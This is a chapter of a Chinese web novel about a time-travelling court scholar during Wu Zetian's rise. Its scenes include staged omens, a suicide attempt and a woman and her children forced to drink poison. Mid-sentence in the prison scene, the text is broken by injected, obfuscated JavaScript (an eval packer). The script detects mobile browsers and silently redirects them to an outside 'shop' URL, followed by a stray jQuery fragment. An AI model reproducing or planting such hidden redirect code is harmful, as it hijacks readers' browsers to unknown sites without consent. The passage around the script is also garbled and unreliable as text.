载初元年，武则天宣布改元“载初”，并正式启用“周”历。


    这一年的七月，洛阳城中出现了一件怪事——一只“凤凰”飞临明堂，盘旋良久，然后朝南飞去。武则天说，这是天降祥瑞，预示着“天命在武”。


    叶唯知道，这只“凤凰”是薛怀义安排的。他让人用竹子和丝绸扎了一只巨大的风筝，涂上金粉，在明堂上空放飞，然后对外宣称“凤凰现世”。


    这是政治宣传，不是天意。


    但她不能说出来。


    “叶直学士，”裴居道站在她身边，看着那只远去的“凤凰”，嘴角带着一丝讥讽的笑意，“你说，这世上真的有凤凰吗？”


    叶唯看了他一眼。


    “裴侍郎觉得呢？”


    “我觉得，”裴居道的声音压得很低，“有凤凰，没凤凰，不重要。重要的是，太后说有，就有。”


    叶唯没有说话。


    “你知不知道，”裴居道继续说，“太后准备在明年正月正式登基？”


    叶唯的心跳漏了一拍。


    她知道这件事。史书上写得清清楚楚——天授元年（690年）九月九日，武则天正式登基称帝，改国号为周。


    但裴居道说的是“正月”，不是“九月”。这说明计划可能有所调整。


    “你从哪里听说的？”叶唯问。


    “我自然有自己的渠道。”裴居道笑了笑，“叶直学士，你跟了太后这么多年，难道不知道，这宫里没有秘密吗？”


    叶唯沉默了片刻。


    “登基的事，你知道多少？”


    “我知道，”裴居道的声音更低了一些，“太后已经命人铸造了‘大周受命之宝’的玉玺，只等良辰吉日。还让人编造了《大云经》的疏文，说太后是弥勒佛转世，应该做天下的主人。”


    叶唯的手指微微收紧。


    《大云经疏》——她太熟悉这个了。这是薛怀义等僧人为武则天称帝制造的理论依据。经文中有一段话：“净光天女当王国土，得转轮王。”武则天就是那个“净光天女”。


    “裴侍郎，”她转过头看着裴居道，“你跟我说这些，不怕我告诉太后？”


    裴居道笑了。


    “你会吗？”


    叶唯沉默了很久。


    “不会。”


    “为什么？”


    “因为你说这些，本就是为了让我告诉太后。”叶唯直视着他的眼睛，“你想让我去试探太后的口风，看看她准备什么时候动手。你不想自己去问，因为你不确定太后的态度。”


    裴居道的笑容僵了一瞬。


    “叶直学士，”他摇了摇头，“你总是能看穿我。”


    “不是我看穿你，”叶唯说，“是你每次都用同样的招数。”


    裴居道苦笑了一下。


    “好吧，我承认。”他说，“我想知道太后登基的具体时间。不是为了别的，只是为了提前做准备。登基大典需要大理寺提供安保方案，我需要知道时间，才能调配人手。”


    叶唯盯着他看了几秒，然后缓缓点了点头。


    “我会帮你问的。”


    “多谢。”


    裴居道拱手行礼，转身离去。


    叶唯站在原地，看着他的背影消失在宫墙的拐角处，心中涌起一种说不清的预感。


    登基。


    这一天，终于要来了。


    ———————


    载初元年九月，武则天收到了一份来自雍州人唐同泰的奏表，说是在洛水中发现了一块瑞石，石上刻着“圣母临人，永昌帝业”八个字。


    武则天大喜，将瑞石命名为“宝图”，并加尊号为“圣母神皇”——虽然这个尊号她在明堂大享时已经用过，但这次是正式、公开地加。


    叶唯知道这块瑞石是假的。史书上写得清清楚楚——“唐同泰献瑞石于洛水，太后命曰‘宝图’。”后世学者考证，这块石头是武则天让人提前刻好，投入洛水中的。


    但她也知道，在这个节骨眼上，真假不重要。重要的是，这块石头为武则天称帝提供了“天意”的依据。


    “叶姐姐，你说这世上真的有天意吗？”


    谢小蛮坐在叶唯的屋子里，一边剥橘子一边问道。


    叶唯接过一瓣橘子，塞进嘴里。


    “有。”


    “真的有？”谢小蛮睁大了眼睛，“你也信这个？”


    “我信的不是石头上的字。”叶唯说，“我信的是，太后做皇帝，是天意。”


    “为什么？”


    “因为，”叶唯顿了顿，“一个女人，从十四岁入宫，到六十七岁称帝，熬了五十三年，经历了无数次生死考验，最终走到了那个位置。这不是天意，是什么？”


    谢小蛮盯着她看了很久。


    “叶姐姐，你说话总是这么奇怪。”


    “哪里奇怪？”


    “你说的那些话，”谢小蛮歪着头想了想，“不像是这个时代的人说的话。”


    叶唯的手指微微一顿。


    “是吗？”


    “是啊。”谢小蛮说，“你说‘六十七岁称帝’——太后今年才六十六岁，你怎么知道她六十七岁称帝？”


    叶唯的心猛地一缩。


    她失言了。


    “我随便猜的。”她说。


    谢小蛮狐疑地看着她，但很快就被别的话题转移了注意力。


    叶唯坐在那里，后背的衣衫已经被冷汗浸透。


    她必须更加小心。在这个时代，说漏嘴一次，就可能万劫不复。


    ——————


    时间：载初元年秋


    地点：洛阳宫——秘书省


    载初元年秋，洛阳宫下了第一场霜。


    叶唯裹着一件旧棉袍，坐在秘书省书库的地板上，面前堆着一摞泛黄的书卷。她的手指冻得有些僵硬，翻书的时候需要格外小心，怕撕破了那些脆弱的纸页。


    她最近常常来这里。


    不是因为有工作要做，而是因为——她需要安静。


    宫里的声音太多了。朝堂上的争吵、内侍的传话、宫女的窃窃私语、酷吏们制造冤案时那些凄厉的哭喊……所有的声音混在一起，像一张密不透风的网，把她裹得喘不过气来。


    只有在书库里，她才能呼吸。


    “叶直学士。”


    一个陌生的声音从门口传来。叶唯抬起头，看到一个二十出头的年轻文士站在书库门口，手中捧着一卷文书。他面容清秀，眉目间有一种文人特有的书卷气，但眼神中带着一丝不安。


    “你是？”叶唯站起身。


    “下官宋之问，崇文馆直学士。”文士躬身行礼，“奉太后之命，来秘书省查阅一部典籍。”


    叶唯微微颔首。


    宋之问。她在记忆中搜索这个名字。唐代著名诗人，“近乡情更怯，不敢问来人”的作者。史书上记载他才华横溢，但人品有亏——曾因依附张易之而被贬，又因告发好友而被唾弃。


    但现在，他还只是一个二十出头的年轻人，一个刚刚入仕的才子。


    “你要查什么书？”叶唯问。


    “《昭明文选》。”宋之问说，“太后要修订宫中的诗文选本，命下官先查阅旧制。”


    叶唯走到书架前，熟练地从第四排书架上抽出一部蓝皮的书卷，递给宋之问。


    宋之问接过书卷，却没有立刻离开。他站在那里，目光在书库中扫了一圈，最后落在叶唯面前那摞泛黄的书卷上。


    “叶直学士在整理什么书？”他问。


    “闲来无事，随手翻翻。”叶唯的语气平淡。


    宋之问犹豫了一下，然后压低声音：“叶直学士，下官有一句话，不知当不当讲。”


    “讲。”


    “下官听说，来俊臣大人最近在查秘书省的藏书。”宋之问的声音压得更低了，“他说有些书里藏着‘妖言惑众’的内容，要全部清查。”


    叶唯的手指微微一顿。


    来俊臣。酷吏中的酷吏，武则天最锋利的刀。他查书，不是为了书，而是为了人。他要找的，不是“妖言”，而是“妖人”。


    “多谢宋大人提醒。”叶唯说，“我知道了。”


    宋之问拱手行礼，转身离去。


    叶唯站在原地，看着他的背影消失在门外，心中涌起一种说不清的不安。


    来俊臣要查秘书省。


    这意味着，这座书库不再安全了。


    她走到书架最深处，蹲下来，从最底层的一个暗格中取出一卷书。


    书卷的封面上写着四个字——《玄女问政》。


    这是她几年前在这里发现的书。书中的内容，与她曾经对上官婉儿说过的许多话惊人地相似。而书卷最后一页上，写着一行小字：


    “大周某年某月，秘书省叶微言录。”


    大周。


    这个年号，从未出现过。


    她的手指微微颤抖。


    这卷书，到底是谁写的？如果是她自己写的——她是什么时候写的？为什么她不记得？如果不是她自己写的——那又是谁，用她的名字，写了这卷书？


    “叶姐姐。”


    上官婉儿的声音从身后传来。叶唯猛地回过头，看到婉儿站在书架后面，正看着她手中的书卷。


    “这是什么？”婉儿走过来。


    叶唯犹豫了一下，把书卷递给她。


    婉儿接过书卷，翻开看了几页，手指微微收紧。


    “这——”她抬起头，看着叶唯，“这是你写的？”


    “我不知道。”叶唯的声音很轻，“我不记得写过。”


    婉儿盯着她看了很久。


    “叶姐姐，你骗我。”


    叶唯的心猛地一缩。


    “我没有——”


    “你有。”婉儿的声音很平静，“你每次撒谎的时候，眼睛会往右边看。”


    叶唯张了张嘴，说不出话。


    “叶姐姐，我不会问你这卷书是从哪里来的。”婉儿把书卷还给她，“但我有一个请求。”


    “什么？”


    “把它烧了。”婉儿的声音很轻，“来俊臣在查书。如果被他发现这卷书，你我都活不了。”


    叶唯沉默了很久。


    她知道婉儿说得对。


    这卷书太危险了。它里面的内容，与这个时代的常识不符。它里面提到的“大周”，是一个不存在的年号。如果被来俊臣看到，他一定会追问：大周是什么？是谁？她为什么知道一个不存在的年号？


    这些问题，她回答不了。她最终说，“我烧。”


    婉儿点了点头，转身走了。


    叶唯一个人站在书库中，捧着那卷书，心中翻涌着惊涛骇浪。


    烧掉。她要把自己的过去，烧掉。


    她走到炭盆前，蹲下来，把书卷扔进火中。


    火舌舔舐着纸张，发出噼噼啪啪的声响。那些字迹在火中扭曲、变形、消失。


    “大周某年某月，秘书省叶微言录。”


    她看着那行字被火焰吞没，心中涌起一种说不清的滋味。


    像是在埋葬自己。


    ————————


    时间：载初元年十月


    地点：洛阳——薛怀义府邸


    王氏站在薛怀义府邸的后门前，已经站了整整一个时辰。


    她的手里攥着一封信，信是薛怀义写给她的——三年前，他还没有发迹的时候，他写过一封信给她，说：“等我富贵了，一定回来接你。”


    三年过去了。


    他富贵了。


    他没有回来接她。


    她听说他成了太后的男宠，被封为梁国公，住在洛阳城中最大的府邸里，过着锦衣玉食的生活。


    她听说他身边有了很多女人，每一个都比她年轻，每一个都比她漂亮。


    她听说他早已忘了她。


    但她还是来了。


    因为她没有地方可去了。她的父母已经死了，她的兄弟不要她，她的亲戚们嫌她丢人。她只有他。


    “你是什么人？”


    一个家丁从后门探出头来，上下打量着她。


    “我是薛怀义的妻子。”王氏的声音有些发颤，“我来找他。”


    家丁愣了一下，然后笑了。


    “你？薛大人的妻子？”他的笑声中满是讥讽，“薛大人的妻子是太后，你算什么东西？”


    王氏的脸涨得通红。


    “我真的是——”


    “滚！”家丁打断了她，“再不滚，我叫人把你打出去！”


    王氏站在那里，眼泪流了下来。


    她攥紧那封信，指节泛白。


    “你告诉他，”她的声音很轻，“他欠我一条命。”


    家丁瞪了她一眼，关上了门。


    王氏站在后门外，看着那扇紧闭的门，心中最后一丝希望也破灭了。


    她转过身，朝巷口走去。


    走到巷口的时候，她停下来，从袖中掏出一条白绫。


    这是她早就准备好的。


    她抬起头，看着头顶的槐树。树枝很粗，应该能承受一个人的重量。


    她踮起脚尖，把白绫搭上树枝，打了一个结。


    “姑娘，你在干什么？”


    一个苍老的声音从身后传来。王氏转过头，看到一个白发苍苍的老妇人站在巷口，手中提着一个菜篮子。


    “你……”王氏的声音有些发涩。


    “姑娘，不要做傻事。”老妇人走过来，握住她的手，“不管遇到什么事，活着总比死了强。”


    王氏的眼泪夺眶而出。


    “可是我不知道该怎么活下去了。”


    老妇人看着她，眼中满是怜惜。


    “姑娘，你跟我来。”她说，“我家就在前面，我给你煮碗面。”


    王氏跟着老妇人走了。


    她不知道前面等着她的是什么。


    但她知道，至少今晚，她不会死了。


    ———————


    时间：载初元年十一月


    地点：洛阳——大理寺


    裴居道坐在值房中，面前摊着一份刚刚拟好的诏书。


    诏书的内容很简单——赐死。


    赐死的人，是李贞的儿子李冲的妻儿。李冲起兵失败后，他的妻子和三个孩子被关在大理寺狱中，已经关了整整一年。


    现在，太后下令，赐死。


    “裴侍郎。”


    一个声音从门口传来。裴居道抬起头，看到周兴站在门口，手中捧着一壶酒。


    “周大人。”裴居道站起身。


    周兴走进来，把酒壶放在桌上。


    “这是太后赐给李冲妻儿的酒。”周兴的声音很轻，“你送过去。”


    裴居道的手指微微一顿。


    “我去？”


    “对。”周兴说，“你去。”


    裴居道沉默了片刻。


    “为什么是我？”


    “因为你是大理寺少卿。”周兴的声音很平静，“这是你的职责。”


    裴居道盯着那壶酒，看了很久。


    壶是白瓷的，上面画着一枝梅花，红的刺眼”


    他拿起酒壶，走出值房。


    身后，周兴看着他的背影，嘴角微微弯了一下。


    大理寺狱，死牢。


    裴居道站在牢房门口，看着里面的三个人。


    一个女人，两个男孩，一个女孩。


    女人三十岁左右，面容憔悴，头发散乱，穿着一件脏兮兮的囚衣。两个男孩一个八岁，一个五岁，缩在母亲身后，眼神中满是恐惧。女孩三岁，被母亲抱在怀里，正在睡觉。


    “李夫人。”裴居道的声音很轻。


    女人抬起头，看着他。


    “裴侍郎。”她的声音很平静，“是时候了吗？”


    裴居道沉默了片


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486875|202063||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刻。


    “是。”他说。


    女人点了点头。


    “能不能让我给孩子换身衣服？”她的声音有些发颤，“他们……不能穿着囚衣走。”


    裴居道犹豫了一下，然后点了点头。


    “我让人去拿。”


    他转身，对狱卒说了几句话。狱卒点点头，匆匆离去。


    不一会儿，狱卒拿来三套干净的衣服。女人接过衣服，给孩子们换上。


    男孩换衣服的时候，忽然问：“娘，我们要去哪？”


    女人蹲下来，看着他的眼睛。


    “去一个很远的地方。”她的声音很轻，“那里没有坏人，没有人会欺负我们。”


    “爹也在那里吗？”


    女人的眼泪流了下来。


    “在。”她说，“爹也在那里。”


    男孩笑了。


    “那太好了。”他说，“我想爹了。”


    女人抱住他，无声地哭了起来。


    裴居道站在牢房门口，看着这一幕，心中涌起一种说不清的滋味。


    他是大理寺少卿。


    他的职责，是执行律例。


    但律，不应该只是杀人。


    “裴侍郎。”女人的声音从牢房内传来。


    裴居道抬起头，看着她。


    “能不能请你帮一个忙？”女人说。


    “你说。”


    “我死后，能不能把我的骨灰送回老家？”女人的声音很轻，“我想和我的父母葬在一起。”


    裴居道沉默了很久。


    “好。”他颔首答；


    女人点了点头。


    “谢谢你。”


    她端起酒壶，倒出四杯酒。


    一杯给自己，一杯给大儿子，一杯给小儿子，一杯给女儿。


    女儿还在睡觉，不知道发生了什么。


    “来，”女人对大儿子说，“喝了这杯酒，就能见到爹了。”


    男孩端起酒杯，一饮而尽。


    然后他倒下了。


    小儿子也喝了。


    然后倒下了。


    女人端起最后一杯酒，送到女儿的嘴边。


    女儿还在睡。


    “婉儿，”她轻声说，“乖，喝一口。”


    女儿张开嘴，喝了一口。


    然后继续睡。


    女人放下酒杯，端起自己的那杯。


    她看着裴居道，嘴角微微弯了一下。


    “裴侍郎，谢谢你。”


    她一饮而尽。


    然后倒下了。


    牢房里安静了下来。


    裴居道站在那里，看着地上的四具尸体。


    他的手在颤抖。


    不是因为害怕，而是因为——他刚刚亲眼目睹了四个无辜的人………。


    他转过身，走出牢房。


    走到门口的时候，他停下来，扶着墙，弯下腰，干呕了起来。


    什么都没有吐出来。


    但他觉得，有什么东西，从他身体里被抽走了。


    ———————


    时间：载初元年腊月


    地点：洛阳——崇仁坊


    谢小蛮病了。


    她已经五十六岁了，头发全白了，脸上布满了皱纹，腰背也弯了。年轻时那个蹦蹦跳跳的小丫头，如今已经变成了一个步履蹒跚的老妇人。


    “小蛮，喝药了。”


    叶唯端着一碗药，坐在她的床边。


    谢小蛮睁开眼睛，看着叶唯。


    叶唯也老了。五十七岁的她，头发花白，眼角布满细纹，手指因为长年伏案写字而严重变形。但她的眼睛依然明亮，声音依然沉稳。


    “叶姐姐，我是不是快死了？”谢小蛮的声音很虚弱。


    “胡说。”叶唯把药碗递给她，“你还能活二十年。”


    谢小蛮接过碗，喝了一口，皱起眉头。


    “苦。”


    “良药苦口。”


    “我不想喝。”谢小蛮把碗推开，“反正喝了也好不了。”


    叶唯看着她，眼眶微微发热。


    “小蛮，你答应过我的。”她的声音有些发涩，“你要比我活得久。你要看着我死了，给我写墓志铭。”


    谢小蛮愣了一下，然后笑了。


    “对，”她说，“我答应过你的。”


    她端起碗，一口气把药喝完了。


    “好苦。”她皱着鼻子，像年轻时一样。


    叶唯接过碗，放在桌上，握住她的手。


    “小蛮，谢谢你。”


    “谢我什么？”


    “谢谢你陪了我三十六年。”叶唯的眼眶红了，“从显庆元年到现在，整整三十六年。你是我在这个时代，最亲的人。”


    谢小蛮看着叶唯，眼泪流了下来。


    “叶姐姐，你也是我最亲的人。”她的声音有些发颤，“我进宫的时候，才十五岁，什么都不懂。是你教我读书写字，是你教我做人做事，是你在我最难过的时候陪着我。”


    “你说，如果有一天你不在了，我会想你的。我现在告诉你——我也会想你的。比你想我，还要想。”


    叶唯点了点头。


    窗外，雪落无声。


    谢小蛮闭上眼睛，她梦到了自己十五岁那年，第一次见到叶唯的情景。


    那个穿着青色官服的、眼睛永远带着坚定的女人。


    ———————————


    深夜。


    裴居道一个人坐在大理寺的值房里，面前摊着一卷空白的纸。


    他想写点什么。


    想写李冲妻儿的死，想写黑齿常之的死，想写那些被他亲手送进地狱的人。


    但他不知道该怎么写。


    他拿起笔，在纸上写了四个字：


    “我罪孽深。”


    然后他停了笔。


    他看着那四个字，看了很久。


    然后他把纸揉成一团，扔进炭盆。


    火舌舔舐着纸张，很快把它烧成了灰烬。


    他站起身，走到窗前，推开窗户。


    冷风灌进来，吹得他打了个寒颤。


    他抬起头，看着夜空。


    月亮被云遮住了，天地之间一片黑暗。


    “我罪孽深。”他喃喃道。


    但除了这句话，他什么也说不出来


    ——————————————


    时间：载初元年腊月三十


    地点：洛阳宫——乾元殿


    除夕夜。


    武则天一个人坐在乾元殿中，面前摊着一份诏书。


    诏书的内容很简单——改国号为周，改元天授，登基称帝。


    她写了很久。


    每一个字都斟酌了很久。


    因为她知道，这份诏书，将改变一切。


    “太后。”


    内侍的声音从殿外传来。


    “什么事？”


    “百官已经在殿外候着了。”


    武则天站起身，整了整衣冠，走向殿门。


    殿门打开，寒风扑面而来。


    她站在门槛上，看着殿外跪了一地的百官。


    雪还在下。


    落在她的冕冠上，落在她的龙袍上，落在她的肩上。


    她的目光扫过那些人——叶微言、上官婉儿、裴居道、谢小蛮、陈子昂、宋之问、来俊臣、周兴……


    每一个人，都在看着她。


    每一个人，都在等她开口。


    她的声音不大，但每一个字都清晰可闻，“朕，武曌准备登基，改国号为周。”


    殿外一片死寂。


    然后，有人跪了下来。


    然后，所有人都跪了下来。


    “吾皇万岁！万岁！万万岁！”


    声震云霄。


    武则天站在那里，面色平静如水。


    她的心中在说——终于。……终于到了这一天。